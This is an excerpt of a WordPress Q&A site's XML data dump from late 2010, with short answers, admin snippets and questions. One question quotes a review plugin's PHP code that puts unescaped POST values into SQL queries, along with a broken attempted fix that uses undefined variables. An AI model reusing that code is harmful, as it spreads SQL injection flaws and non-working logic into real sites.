  <row Id="6010" PostTypeId="2" ParentId="5993" CreationDate="2010-12-28T02:48:06.913" Score="1" ViewCount="" Body="&lt;p&gt;Try changing the upload path by referring to following tutorial, then use the plugin again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://7php.com/how-to-change-the-path-of-uploading-file-in-wordpress-2-8-x-2-9-x-without-touching-the-code-configurations/&quot; rel=&quot;nofollow&quot;&gt;http://7php.com/how-to-change-the-path-of-uploading-file-in-wordpress-2-8-x-2-9-x-without-touching-the-code-configurations/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T02:48:06.913" />
  <row Id="6011" PostTypeId="2" ParentId="6008" CreationDate="2010-12-28T02:52:31.950" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you use plugin such as Role Manager? You can do that easily. =)&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T02:52:31.950" CommentCount="3" />
  <row Id="6012" PostTypeId="2" ParentId="5998" CreationDate="2010-12-28T03:00:26.347" Score="0" ViewCount="" Body="&lt;p&gt;Check if this issue similar to yours. You may take it as reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/categories-missing-in-frontend-but-are-in-db?replies=6&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/categories-missing-in-frontend-but-are-in-db?replies=6&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T03:00:26.347" CommentCount="2" />
  <row Id="6013" PostTypeId="2" ParentId="5706" CreationDate="2010-12-28T03:19:20.830" Score="0" ViewCount="" Body="&lt;p&gt;If a widget/feature is built in a theme, you can't specify it's access right to particular user. As long as the admins can use the theme, they can use the widget.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T03:19:20.830" />
  <row Id="6014" PostTypeId="2" ParentId="5868" CreationDate="2010-12-28T03:55:46.117" Score="0" ViewCount="" Body="&lt;p&gt;This theme probably suits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.themeflash.com/free-podcasting-video-and-photography-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.themeflash.com/free-podcasting-video-and-photography-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T03:55:46.117" />
  <row Id="6015" PostTypeId="2" ParentId="5792" CreationDate="2010-12-28T04:33:38.673" Score="1" ViewCount="" Body="&lt;p&gt;Check this. This plugin looks suitable for your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/g-lock-double-opt-in-manager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/g-lock-double-opt-in-manager/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T04:33:38.673" CommentCount="1" />
  <row Id="6016" PostTypeId="1" CreationDate="2010-12-28T04:37:54.050" Score="1" ViewCount="103" Body="&lt;p&gt;I have a school website - pickeringschool.org -  that I am changing over to WordPress. This is no problem except that I want to add the functionality that allows the teachers to add daily homework &lt;a href=&quot;http://pickeringschool.org/cluster51.php?action=homework&quot; rel=&quot;nofollow&quot;&gt;like here&lt;/a&gt;&gt; I am a novice developer so any suggestions, tutorials, etc would be appreciated.&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2177" LastActivityDate="2011-01-27T05:17:38.560" Title="adding homework to a school's website" Tags="&lt;customization&gt;" AnswerCount="1" />
  <row Id="6017" PostTypeId="2" ParentId="6016" CreationDate="2010-12-28T04:55:44.153" Score="1" ViewCount="" Body="&lt;p&gt;See if this plugin suitable for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/weekly-schedule/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/weekly-schedule/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-28T04:55:44.153" />
  <row Id="6018" PostTypeId="1" AcceptedAnswerId="6032" CreationDate="2010-12-28T05:00:45.813" Score="1" ViewCount="216" Body="&lt;p&gt;I am using a WordPress plugin called &lt;a href=&quot;http://www.myreviewplugin.com/&quot; rel=&quot;nofollow&quot;&gt;MyReview&lt;/a&gt; but I want some changes to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That plugin has feature to review posts, where users will come and give star ratings to the post according to categories, but in that plugin a user can give star rating to a post to as many times as the user wants, which I dont want, what I want is a user can give star rating to a post just a single time, for that purpose I had words with the author of the plugin, and he suggested me something like this, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Query the comments table for any&#xA;  comments by the same email ID, check&#xA;  if there are any attached ratings, if&#xA;  there are, don't accept the ratings.&#xA;  All these changes would go in&#xA;  myrp-save.php. If you know PHP and are&#xA;  comfortable working with phpMyAdmin to&#xA;  understand the database tables, it&#xA;  would not be difficult to do.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id FROM myrp_ratings as rat, wp_comments as com WHERE com.comment_ID=rat.comment_id AND com.comment_author_email='whatever@whatever.com' AND rat.value!='0' AND rat.value!='1' LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I put this line in that plugin file which is &lt;code&gt;myrp-save.php&lt;/code&gt;?  I think code should be inserted after this line or before this line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;query(&quot;INSERT INTO `&quot; . $wpdb-&amp;gt;myrp_ratings . &quot;`(`ID`, `category_id`, `post_id`, `comment_id`, `value`, `outof`, `weighted`) VALUES('', '{$name}', '{$postID}', '-1', '{$value}', '{$outof}', '&quot; . ($value/$outof) . &quot;')&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    function myrp_save_comment_fields($commentID)&#xA;    {&#xA;        global $wpdb;&#xA;&#xA;        $fields = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM &quot; .$wpdb-&amp;gt;myrp_comment_fields.&quot; ORDER BY `order`&quot;);&#xA;&#xA;        $rq = get_option(&quot;myrp_comment_fields_required&quot;);&#xA;        foreach($fields as $f)&#xA;        {&#xA;            $puniqid = str_replace(&quot;.&quot;, &quot;_&quot;, $f-&amp;gt;uniqid);&#xA;            if(!isset($_POST[$puniqid])) continue;&#xA;            $postdata = $_POST[$puniqid];&#xA;&#xA;            switch($f-&amp;gt;type)&#xA;            {&#xA;                case &quot;date&quot;:&#xA;                    if(strlen($postdata) &amp;gt; 2)&#xA;                    {&#xA;                        $date = strtotime($postdata);&#xA;                        if($date &amp;gt; strtotime($f-&amp;gt;minimum))&#xA;                        {&#xA;                            add_comment_meta($commentID, $f-&amp;gt;uniqid, $date, true)&#xA;                                or&#xA;                            update_comment_meta($commentID, $f-&amp;gt;uniqid, $date);&#xA;                        } else {&#xA;                            if($rq)&#xA;                            {&#xA;                                wp_die(__(&quot;Field {$f-&amp;gt;name} is required and must be after {$f-&amp;gt;minimum}!&quot;, &quot;myrp&quot;) . &quot; &amp;lt;a href='javascript:history.back(1);'&amp;gt;Click here to continue...&amp;lt;/a&amp;gt;&quot;);&#xA;                            } else {&#xA;                                continue;&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                break;&#xA;&#xA;&#xA;                case &quot;short&quot;: case &quot;long&quot;:&#xA;                    if(strlen($postdata) &amp;gt; 0)&#xA;                    {&#xA;                        $text = ($postdata);&#xA;                        if(strlen($text) &amp;gt; intval($f-&amp;gt;minimum) &amp;amp;&amp;amp; strlen($text) &amp;lt; $f-&amp;gt;maximum)&#xA;                        {&#xA;                            add_comment_meta($commentID, $f-&amp;gt;uniqid, $text, true)&#xA;                                or&#xA;                            update_comment_meta($commentID, $f-&amp;gt;uniqid, $text);&#xA;                        } else {&#xA;                            if($rq)&#xA;                            {&#xA;                                wp_die(__(&quot;Field {$f-&amp;gt;name} is required and must be between {$f-&amp;gt;minimum} and {$f-&amp;gt;maximum} characters!&quot;, &quot;myrp&quot;) . &quot; &amp;lt;a href='javascript:history.back(1);'&amp;gt;Click here to continue...&amp;lt;/a&amp;gt;&quot;);&#xA;                            } else {&#xA;                                continue;&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                break;&#xA;&#xA;                case &quot;number&quot;:&#xA;                    if(strlen($postdata) &amp;gt; 0)&#xA;                    {&#xA;                        $text = intval($postdata);&#xA;                        if(($text) &amp;gt; intval($f-&amp;gt;minimum) &amp;amp;&amp;amp; strlen($text) &amp;lt; $f-&amp;gt;maximum)&#xA;                        {&#xA;                            add_comment_meta($commentID, $f-&amp;gt;uniqid, $text, true)&#xA;                                or&#xA;                            update_comment_meta($commentID, $f-&amp;gt;uniqid, $text);&#xA;                        } else {&#xA;                            if($rq)&#xA;                            {&#xA;                                wp_die(__(&quot;Field {$f-&amp;gt;name} is required and must be between {$f-&amp;gt;minimum} and {$f-&amp;gt;maximum}!&quot;, &quot;myrp&quot;) . &quot; &amp;lt;a href='javascript:history.back(1);'&amp;gt;Click here to continue...&amp;lt;/a&amp;gt;&quot;);&#xA;                            } else {&#xA;                                continue;&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                break;&#xA;&#xA;                case &quot;select&quot;: case &quot;radio&quot;: case &quot;check&quot;:&#xA;                    if(strlen($postdata) &amp;gt; 0)&#xA;                    {&#xA;                            add_comment_meta($commentID, $f-&amp;gt;uniqid, $postdata, true)&#xA;                                or&#xA;                            update_comment_meta($commentID, $f-&amp;gt;uniqid, $postdata);&#xA;                    }&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;// myrp_require_rating_comment, myrp_require_all_rating_comment&#xA;    function myrp_save_ratings($commentID) &#xA;    {&#xA;        global $wpdb; global $myrp_type_outof;&#xA;        $post_id = $_POST['comment_post_ID'];&#xA;        $rating_categories = get_post_meta($post_id, &quot;_myrp_rating_categories&quot;, true);&#xA;&#xA;        if(is_array($rating_categories) &amp;amp;&amp;amp; count($rating_categories) &amp;gt; 0)&#xA;        {&#xA;            $submit_count = 0;&#xA;            foreach($rating_categories as $rc)&#xA;            {&#xA;                $type = $wpdb-&amp;gt;get_var(&quot;SELECT `type` FROM `&quot; . $wpdb-&amp;gt;myrp_categories . &quot;` WHERE `ID`='{$rc}' LIMIT 1&quot;);&#xA;                $outof = $myrp_type_outof[$type];&#xA;&#xA;                if(isset($_POST[$rc . &quot;_input&quot;]) &amp;amp;&amp;amp; $_POST[$rc.&quot;_input&quot;] != &quot;&quot;)&#xA;                {&#xA;                    $submit_count++;&#xA;                    $value = $_POST[$rc . &quot;_input&quot;];&#xA;&#xA;&#xA;                        if(!empty($value))&#xA;                        {&#xA;                            if($value &amp;lt; 1) $value = 1;&#xA;                            if($value &amp;gt; $outof) $value = $outof;&#xA;                            $value = round($value*2)/2;&#xA;                        } else {&#xA;                            $value = 0;&#xA;                        }&#xA;&#xA;                    $sql =&amp;lt;&amp;lt;&amp;lt; SQL&#xA;SELECT&#xA;  id&#xA;FROM&#xA;  myrp_ratings AS rat,&#xA;  wp_comments AS com&#xA;WHERE 1=1&#xA;  AND com.comment_ID = rat.comment_id&#xA;  AND com.comment_author_email = '%s'&#xA;  AND rat.value != '0'&#xA;  AND rat.value != '1'&#xA;LIMIT&#xA; 1&#xA;SQL;&#xA;$sql = $wpdb-&amp;gt;prepare($sql,'whatever@whatever.com');&#xA;$id = $wpdb-&amp;gt;get_var($sql);&#xA;                    if (is_null($id)) {&#xA;  $wpdb-&amp;gt;query(&quot;INSERT INTO `&quot; . $wpdb-&amp;gt;myrp_ratings . &quot;`(`ID`, `category_id`, `post_id`, `comment_id`, `value`, `outof`, `weighted`) VALUES('', '{$name}', '{$postID}', '-1', '{$value}', '{$outof}', '&quot; . ($value/$outof) . &quot;')&quot;);    &#xA;}&#xA;                }&#xA;            }&#xA;&#xA;&#xA;            if(&#xA;                (&#xA;                    get_post_meta($post_id, &quot;_myrp_no_allow_comments_without_ratings&quot;, true) == 1 &amp;amp;&amp;amp; $submit_count == 0&#xA;                )&#xA;                    ||&#xA;                (&#xA;                    (&#xA;                        (get_option(&quot;myrp_require_rating_comment&quot;) == 1 &amp;amp;&amp;amp; $submit_count == 0)&#xA;                            ||&#xA;                        (get_option(&quot;myrp_require_all_rating_comment&quot;) == 1 &amp;amp;&amp;amp; $submit_count != count($rating_categories))&#xA;                    )&#xA;                        &amp;amp;&amp;amp;&#xA;                    (&#xA;                        get_post_meta($post_id, &quot;_myrp_allow_comments_without_ratings&quot;, true) != 1&#xA;                    )&#xA;                )&#xA;            ) {&#xA;                //$wpdb-&amp;gt;query(&quot;DELETE FROM `&quot;.$wpdb-&amp;gt;myrp_ratings.&quot;` WHERE `comment_id`='{$commentID}' LIMIT {$submit_count}&quot;);&#xA;                wp_delete_comment($commentID);  // should clean up ratings on its own.&#xA;                wp_die(__(&quot;Ratings are required! Please select star ratings for this review.&quot;, &quot;myrp&quot;) . &quot; &amp;lt;a href='javascript:history.back(1);'&amp;gt;Click here to continue...&amp;lt;/a&amp;gt;&quot;);&#xA;            }&#xA;&#xA;        }&#xA;        if(get_post_meta($post_id, &quot;_myrp_automatically_approve_comments&quot;, true) == 1) $wpdb-&amp;gt;query(&quot;UPDATE `&quot; . $wpdb-&amp;gt;comments . &quot;` SET `comment_approved`=1 WHERE comment_ID='{$commentID}' AND `comment_approved`=0&quot;);&#xA;        wp_update_comment_count($post_id);&#xA;        do_action(&quot;myrp-savingratings&quot;);&#xA;        update_option(&quot;myrp_notChanged&quot;,0);&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    function myrp_save_post($postID) &#xA;    {&#xA;        global $wpdb;&#xA;        global $myrp_type_outof;&#xA;&#xA;        myrp_save_hides($postID);&#xA;        if(isset($_POST['myrp_affiliate_link'])) {&#xA;            $affiliate_link = trim($_POST['myrp_affiliate_link']);&#xA;            if(!empty($affiliate_link))&#xA;            {&#xA;                $link = parse_url($affiliate_link);&#xA;                $scheme = $link['scheme'];&#xA;                if($scheme == &quot;&quot;)  $affiliate_link = &quot;http://&quot; . $affiliate_link;&#xA;            }&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_affiliate_link&quot;, $affiliate_link, true)&#xA;                or &#xA;            update_post_meta($postID, &quot;_myrp_affiliate_link&quot;,$affiliate_link);&#xA;        }&#xA;&#xA;        if(isset($_POST['myrp_icon_image'])) {&#xA;            $icon_image = $_POST['myrp_icon_image'];&#xA;            if(!empty($icon_image))&#xA;            {&#xA;                $link = parse_url($icon_image);&#xA;                $scheme = $link['scheme'];&#xA;                if($scheme == &quot;&quot;)  $icon_image = &quot;http://&quot; . $icon_image;&#xA;            }&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_icon_image&quot;,$icon_image, true)&#xA;                or &#xA;            update_post_meta($postID, &quot;_myrp_icon_image&quot;, $icon_image);&#xA;        }&#xA;&#xA;        $checked = array();&#xA;        $rating_categories = array();&#xA;        if(isset($_POST['myrp_save_categories_please']))&#xA;        {&#xA;            if(count($_POST['myrp_checked_categories']) &amp;gt; 0)&#xA;            {&#xA;                foreach($_POST['myrp_checked_categories'] as $cid)&#xA;                {&#xA;                    if(@$_POST[&quot;myrp_value_&quot; . $cid] != &quot;&quot;)&#xA;                    {&#xA;                        $rating = (@$_POST[&quot;myrp_value_&quot; . $cid]);&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        $rating = &quot;&quot;;&#xA;                    }&#xA;&#xA;&#xA;                    $checked[] = array($cid, $rating);&#xA;                    $rating_categories[] = $cid;&#xA;                }&#xA;            }&#xA;            add_post_meta($postID, &quot;_myrp_rating_categories&quot;, $rating_categories, true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_rating_categories&quot;, $rating_categories);&#xA;&#xA;&#xA;            if(count($rating_categories) &amp;gt; 0)&#xA;            {&#xA;                update_option(&quot;myrp_previously_checked&quot;, $rating_categories);&#xA;            } else {&#xA;                update_option(&quot;myrp_previously_checked&quot;, array());&#xA;            }&#xA;&#xA;            $wpdb-&amp;gt;query(&quot;DELETE FROM `&quot; . $wpdb-&amp;gt;myrp_ratings . &quot;` WHERE `post_id`='{$postID}' AND `comment_id`='-1'&quot;);&#xA;&#xA;            foreach($checked as $rating) &#xA;            {&#xA;                $name = $rating[0];&#xA;                $value = $rating[1];&#xA;&#xA;                $type = $wpdb-&amp;gt;get_var(&quot;SELECT `type` FROM `&quot; . $wpdb-&amp;gt;myrp_categories . &quot;` WHERE `ID`='{$name}' LIMIT 1&quot;);&#xA;                $outof = $myrp_type_outof[$type];&#xA;&#xA;                if($outof == 1)&#xA;                {&#xA;                    if($value == &quot;Yes&quot;) $value = 1;&#xA;                    if($value == &quot;No&quot;) $value = 0;&#xA;                }&#xA;&#xA;                if($outof == 40)&#xA;                {&#xA;&#xA;                    $value = myrp_translate_letter_to_number($value);&#xA;&#xA;                }&#xA;                $value = floatval($value);&#xA;&#xA;                $wpdb-&amp;gt;query(&quot;INSERT INTO `&quot; . $wpdb-&amp;gt;myrp_ratings . &quot;`(`ID`, `category_id`, `post_id`, `comment_id`, `value`, `outof`, `weighted`) VALUES('', '{$name}', '{$postID}', '-1', '{$value}', '{$outof}', '&quot; . ($value/$outof) . &quot;')&quot;);&#xA;            }&#xA;        }&#xA;&#xA;&#xA;        update_option(&quot;myrp_notChanged&quot;,0);&#xA;&#xA;    }&#xA;&#xA;    function myrp_save_hides($postID)&#xA;    {&#xA;&#xA;        if(isset($_POST['_myrp_hide_set']))&#xA;        {&#xA;            add_post_meta($postID, &quot;_myrp_hide_float_left&quot;, $_POST['_myrp_hide_float_left'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_hide_float_left&quot;,$_POST['_myrp_hide_float_left']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_hide_float_right&quot;, $_POST['_myrp_hide_float_right'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_hide_float_right&quot;,$_POST['_myrp_hide_float_right']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_disable_traffic_tracking&quot;, $_POST['_myrp_disable_traffic_tracking'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_disable_traffic_tracking&quot;,$_POST['_myrp_disable_traffic_tracking']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_disable_advanced_excerpts&quot;, $_POST['_myrp_disable_advanced_excerpts'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_disable_advanced_excerpts&quot;,$_POST['_myrp_disable_advanced_excerpts']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_hide_microformats&quot;, $_POST['_myrp_hide_microformats'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_hide_microformats&quot;,$_POST['_myrp_hide_microformats']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_allow_comments_without_ratings&quot;, $_POST['_myrp_allow_comments_without_ratings'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_allow_comments_without_ratings&quot;,$_POST['_myrp_allow_comments_without_ratings']);&#xA;&#xA;            add_post_meta($postID, &quot;_myrp_automatically_approve_comments&quot;, $_POST['_myrp_automatically_approve_comments'], true)&#xA;                or&#xA;            update_post_meta($postID, &quot;_myrp_automatically_approve_comments&quot;,$_POST['_myrp_automatically_approve_comments']);&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-29T07:09:38.083" LastActivityDate="2010-12-29T07:41:44.263" Title="MySql database help for a plugin" Tags="&lt;plugins&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6020" PostTypeId="2" ParentId="5706" CreationDate="2010-12-28T06:10:34.403" Score="0" ViewCount="" Body="&lt;p&gt;If that is custom functionality in theme options page then it is highly specific to that theme. Likely you will need to edit theme files and/or create child theme. Plus option pages can be simply in WordPress API but just as well can be built with help of theme framework or other kind of third party code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your first stop should be developers of themes and information on how to best work with their option pages.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-28T06:10:34.403" />
  <row Id="6021" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T06:39:19.400" Score="6" ViewCount="" Body="&lt;h2&gt;Add Thumbnails in Manage Posts/Pages List&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can add this to your functions to display to the Manage/Edit Post and Pages List a new column with the thumbnail preview.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/****** Add Thumbnails in Manage Posts/Pages List ******/&#xA;if ( !function_exists('AddThumbColumn') &amp;amp;&amp;amp; function_exists('add_theme_support') ) {&#xA;&#xA;    // for post and page&#xA;    add_theme_support('post-thumbnails', array( 'post', 'page' ) );&#xA;&#xA;    function AddThumbColumn($cols) {&#xA;&#xA;        $cols['thumbnail'] = __('Thumbnail');&#xA;&#xA;        return $cols;&#xA;    }&#xA;&#xA;    function AddThumbValue($column_name, $post_id) {&#xA;&#xA;            $width = (int) 35;&#xA;            $height = (int) 35;&#xA;&#xA;            if ( 'thumbnail' == $column_name ) {&#xA;                // thumbnail of WP 2.9&#xA;                $thumbnail_id = get_post_meta( $post_id, '_thumbnail_id', true );&#xA;                // image from gallery&#xA;                $attachments = get_children( array('post_parent' =&amp;gt; $post_id, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image') );&#xA;                if ($thumbnail_id)&#xA;                    $thumb = wp_get_attachment_image( $thumbnail_id, array($width, $height), true );&#xA;                elseif ($attachments) {&#xA;                    foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;                        $thumb = wp_get_attachment_image( $attachment_id, array($width, $height), true );&#xA;                    }&#xA;                }&#xA;                    if ( isset($thumb) &amp;amp;&amp;amp; $thumb ) {&#xA;                        echo $thumb;&#xA;                    } else {&#xA;                        echo __('None');&#xA;                    }&#xA;            }&#xA;    }&#xA;&#xA;    // for posts&#xA;    add_filter( 'manage_posts_columns', 'AddThumbColumn' );&#xA;    add_action( 'manage_posts_custom_column', 'AddThumbValue', 10, 2 );&#xA;&#xA;    // for pages&#xA;    add_filter( 'manage_pages_columns', 'AddThumbColumn' );&#xA;    add_action( 'manage_pages_custom_column', 'AddThumbValue', 10, 2 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:03:06.623" LastActivityDate="2011-01-26T14:03:06.623" CommunityOwnedDate="2010-12-28T06:39:19.400" />
  <row Id="6022" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T06:46:48.313" Score="4" ViewCount="" Body="&lt;h2&gt;&lt;strong&gt;Change the &quot;Howdy&quot; message to &quot;Welcome&quot;&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With this function you can customize the &quot;Howdy&quot; message in top right of your admin area.&lt;br&gt;&#xA;This function make use of JQuery to change the &quot;Howdy&quot; message to &quot;Welcome&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/****** Customize admin message &quot;Howdy&quot; to &quot;Welcome&quot; ******/&#xA;$nohowdy = &quot;Welcome&quot;;&#xA;&#xA;if (is_admin()) {&#xA;    add_action('init', 'artdev_nohowdy_h');&#xA;    add_action('admin_footer', 'artdev_nohowdy_f');&#xA;}&#xA;// Load jQuery&#xA;function artdev_nohowdy_h() {&#xA;    wp_enqueue_script('jquery');&#xA;}&#xA;// Modify&#xA;function artdev_nohowdy_f() {&#xA;global $nohowdy;&#xA;echo &amp;lt;&amp;lt;&amp;lt;JS&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;var nohowdy = &quot;$nohowdy&quot;;&#xA;jQuery('#user_info p')&#xA;    .html(&#xA;    jQuery('#user_info p')&#xA;        .html()&#xA;        .replace(/Howdy/,nohowdy)&#xA;    );&#xA;//]]&amp;gt;&#xA;JS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP version, using &lt;code&gt;gettext&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('gettext', 'change_howdy', 10, 3);&#xA;&#xA;function change_howdy($translated, $text, $domain) {&#xA;&#xA;    if (!is_admin() || 'default' != $domain)&#xA;        return $translated;&#xA;&#xA;    if (false !== strpos($translated, 'Howdy'))&#xA;        return str_replace('Howdy', 'Welcome', $translated);&#xA;&#xA;    return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:47:04.860" LastActivityDate="2011-02-25T23:47:04.860" CommunityOwnedDate="2010-12-28T06:46:48.313" CommentCount="2" />
  <row Id="6023" PostTypeId="1" AcceptedAnswerId="6031" CreationDate="2010-12-28T07:52:08.607" Score="0" ViewCount="219" Body="&lt;p&gt;Say I link to &lt;a href=&quot;http://www.glumbo.com&quot; rel=&quot;nofollow&quot;&gt;http://www.glumbo.com&lt;/a&gt; on one of my posts. I want wordpress to automatically change the anchor text of the link to glumbo.com's title. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2011-02-12T21:50:50.160" Title="Plugin to automatically change anchor text of urls to the destinations title?" Tags="&lt;plugin-recommendation&gt;&lt;seo&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="6024" PostTypeId="2" ParentId="1567" CreationDate="2010-12-28T08:36:30.713" Score="0" ViewCount="" Body="&lt;h2&gt;Call bloginfo using shortcode...&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function digwp_bloginfo_shortcode($atts) {&#xA;&#xA;    extract(shortcode_atts(array(&#xA;            'key' =&amp;gt; '',&#xA;            ), $atts));&#xA;&#xA;    return get_bloginfo($key);&#xA;}&#xA;&#xA;add_shortcode('bloginfo', 'digwp_bloginfo_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[bloginfo key='name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2165" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:52:39.893" LastActivityDate="2011-02-25T23:52:39.893" CommunityOwnedDate="2010-12-28T08:36:30.713" />
  <row Id="6025" PostTypeId="1" CreationDate="2010-12-28T09:02:26.240" Score="0" ViewCount="192" Body="&lt;p&gt;I have a collection of posts for families.  I'm using the simple fields plugin for handle members of the family. Is there a simple way to query posts based on values from the custom fields created by the simple fields plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the meta keys in the admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_simple_fields_fieldGroupID_6_fieldID_1_numInSet_0&#xA;_simple_fields_fieldGroupID_6_fieldID_2_numInSet_0&#xA;_simple_fields_fieldGroupID_6_fieldID_3_numInSet_0&#xA;&#xA;_simple_fields_fieldGroupID_6_fieldID_1_numInSet_1&#xA;_simple_fields_fieldGroupID_6_fieldID_2_numInSet_1&#xA;_simple_fields_fieldGroupID_6_fieldID_3_numInSet_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where fieldID_1 is a dropdown for year (1950-2010), &lt;br /&gt;&#xA;fieldID_2 is a dropdown for gender (male or female) &lt;br /&gt;&#xA;fieldID_3 is a textfield for name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I query to get all posts where gender is 'male' and ordered by year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numInSet_N values.  Some might have 0, others 10 or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple fields plugin creates generic values for each key. For example,     _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0 is a dropdown for year and has the following key values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dropdown_num_2&#xA;dropdown_num_3&#xA;dropdown_num_4&#xA;...&#xA;dropdown_num_62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where dropdown_num_2 is actually 1950, dropdown_num_3 is 1951 and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is true for the gender dropdown, _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0, which has the following key values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dropdown_num_2&#xA;dropdown_num_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where dropdown_num_2 is actually 'male', dropdown_num_3 is 'female'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the query to get all posts where gender is 'male' and ordered by year would need to check _simple_fields_fieldGroupID_6_fieldID_2_numInSet_N == 'dropdown_num_2' and ORDER BY the year of all matched posts.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" 